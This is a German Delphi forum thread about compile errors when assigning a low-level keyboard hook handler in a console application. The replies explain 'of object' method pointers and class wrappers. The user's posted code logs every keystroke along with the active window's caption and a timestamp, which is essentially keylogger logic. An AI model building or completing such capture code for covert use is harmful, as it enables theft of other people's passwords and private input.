![]() |
hooks createn in einer konsolen-anwendung
ich versuche grad ein codebeispiel(ich glaube hier aus der dp) welches hooks verwendet in eine konsolen-anwendung umzuschreiben
dabei stoße ich beim createn des hooks auf folgendes problem: [Fehler] Project2.dpr(115): E2009 Inkompatible Typen: 'Methodenzeiger und reguläre Prozedur' in der folgenden zeile:
Delphi-Quellcode:
KeyboardHook := TLowLevelKeyboardHook.Create(nil);
KeyboardHook.OnPreExecute := KeyboardHookPreExecute; //<------ |
Re: hooks createn in einer konsolen-anwendung
KeyboardHookPreExecute ist "nur" eine Prozedur, aber sie muß eine Prozedur in 'ner Klasse sein.
Wie und wo ist denn KeyboardHookPreExecute definiert? := DeineKlassenVariable.KeyboardHookPreExecute |
Re: hooks createn in einer konsolen-anwendung
danke erstmal für deine schnelle antwort.
hier ist der relevante code:
Delphi-Quellcode:
die prototypen der procedures sind nicht vorher in irgentwelchen klassen erwähnt worden.
procedure KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
procedure write(msg: string); var pid: dword; begin if msg <> '' then begin if (GetForegroundWindow <> accap) then begin GetWindowThreadProcessID(GetForegroundWindow(),@pid); log := log + activecaption + ' - ' + TimeToStr(Time); end; log := log + msg; accap := GetForegroundWindow; end; end; var pKeyHookStruct: PKBDLLHOOKSTRUCT; KeyHookStruct: KBDLLHOOKSTRUCT; ch1, ch2: Char; begin pKeyHookStruct := PKBDLLHOOKSTRUCT(Hookmsg.LParam); KeyHookStruct := pKeyHookStruct^; if (KeyHookStruct.Flags and LLKHF_UP = 0) then //Keydown begin if IsPrintableKey(KeyHookStruct.vkCode) and vkCodeToChar(KeyHookStruct.vkCode, ch1, ch2) then begin if ch1 <> #0 then write(ch1); if ch2 <> #0 then write(ch2); end else begin write(DisplayVKey(KeyHookStruct.vkCode)); if DisplayVKey(KeyHookStruct.vkCode) = '[Enter]' then log := log + ' '; end; end; end; begin KeyboardHook := TLowLevelKeyboardHook.Create(nil); KeyboardHook.OnPreExecute := KeyboardHookPreExecute; KeyboardHook.Active := true; log := ''; end. ich weiß nciht ganz genau wie du das mit den klassen meinst. |
Re: hooks createn in einer konsolen-anwendung
so, mußte jetzt erstmal suchen wie der Rest definiert ist, aber .OnPreExecute ist als THookNotify definiert und da schau dir mal das "of object" an.
Delphi-Quellcode:
Also muß die Prozedur eigentlich in einer Klasse liegen. :zwinker:
THookNotify = procedure(Hook: THook; var Hookmsg: THookMsg) of object;
Delphi-Quellcode:
PS: Klassen-Prozeduren haben einen versteckten Parameter. (kennst'e vielleicht von TForm ... "Self" )
tDeineKlassenVariable = Class
procedure KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg); end; Man kann also notfalls (ist zwar nicht unbedingt "guter" Code) dieses selber einfügen und es als normale/einzelne Prozedur lassen :angel2:
Delphi-Quellcode:
procedure KeyboardHookPreExecute(Self: TObject; Hook: THook; var Hookmsg: THookMsg);
|
Re: hooks createn in einer konsolen-anwendung
mensch ich bekomms immer noch nicht hin
von einer fehlermeldung zur nächsten: [Fehler] Project2.dpr(14): E2065 Ungenügende Forward- oder External-Deklaration: 'tbla.KeyboardHookPreExecute'
Delphi-Quellcode:
so hab ichs jetz versuch mit dem ergebis der oben genannten fehlermeldung...
type
tbla = Class procedure KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg); end; var KeyboardHook: TLowLevelKeyboardHook; bla: tbla; |
Re: hooks createn in einer konsolen-anwendung
hast du da vielleicht noch was vergessen?
Code:
PS: vergiß nicht, daß du bei der Variante über die Klasse auch noch die Klasseninstanz erstellen mußt!
procedure [b]tbla.[/b]KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
procedure write(msg: string); var pid: dword; begin if msg <> '' then begin ........
Delphi-Quellcode:
// vorher erstellen
bla := tbla.Create; // übergeben KeyboardHook.OnPreExecute := bla.KeyboardHookPreExecute; // und wenn bla.KeyboardHookPreExecute (bzw. diese Funktion // in KeyboardHook) nicht mehr benötigt wird, dann freigeben bla.Free; |
Alle Zeitangaben in WEZ +1. Es ist jetzt 07:43 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz